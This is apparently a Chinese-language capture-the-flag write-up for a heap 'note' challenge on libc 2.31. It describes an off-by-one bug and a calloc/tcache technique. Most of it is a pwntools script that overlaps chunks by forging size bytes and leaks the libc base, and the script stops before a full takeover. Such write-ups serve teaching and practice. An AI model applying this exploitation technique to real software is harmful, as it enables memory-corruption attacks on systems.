libc 2.31
保护是都拉上的。
刚开始有个花指令,通过一定的调整,再反汇编,就得到了正确的结果。
可以看到除了必要的初始化setbuf之外还将4050的地方清空了。
后面我们会看到4050就是存放地址的地方。
add
看一下content的输入
很明显的off by one。
整体结构还是比较清晰的,最多申请三个chunk。
free
清理的很干净。
show
show也是正常泄露。
很明显的off by one,我们的常规思路也就是overlap或者unlink。
因为这里泄露不了基地址,所以我门还是要去overlap。
我们先要获取libc地址,因为程序用的是calloc,申请chunk不会从tcache链中拿,所以我们可以重复申请释放,来获得unsorted bin chunk。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
r = process("./note")
elf = ELF("./note")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(choice, content):
r.sendlineafter("Your choice:\n", "1")
r.sendlineafter("2.Large.\n", str(choice))
r.sendafter("Content:\n", content)
def delete(index):
r.sendlineafter("Your choice:\n", "2")
r.sendlineafter("Index:\n", str(index))
def show(index):
r.sendlineafter("Your choice:\n", "3")
r.sendlineafter("Index:\n", str(index))
for i in range(7):
add(2, "aaaa\n")
delete(0)
for i in range(7):
add(1, "bbbb\n")
delete(0)
add(1, "aaaa\n") #0
add(1, "aaaa\n") #1
add(2, 'a' * 0x78 + p64(0x71) + '\n') #2
delete(1)
add(1, 'a' * 0x68 + '\x81') #1
delete(0)
add(1, 'a' * 0x68 + '\xf1') #0
#gdb.attach(r)
delete(1)
add(1, "aaaa\n") #1
show(2)
malloc_hook = (u64(r.recv(6).ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
print "libc_base = " + hex(libc_base)
gdb.attach(r)
delete(1)
add(1, "a" * 0x68 + '\x71')
r.interactive()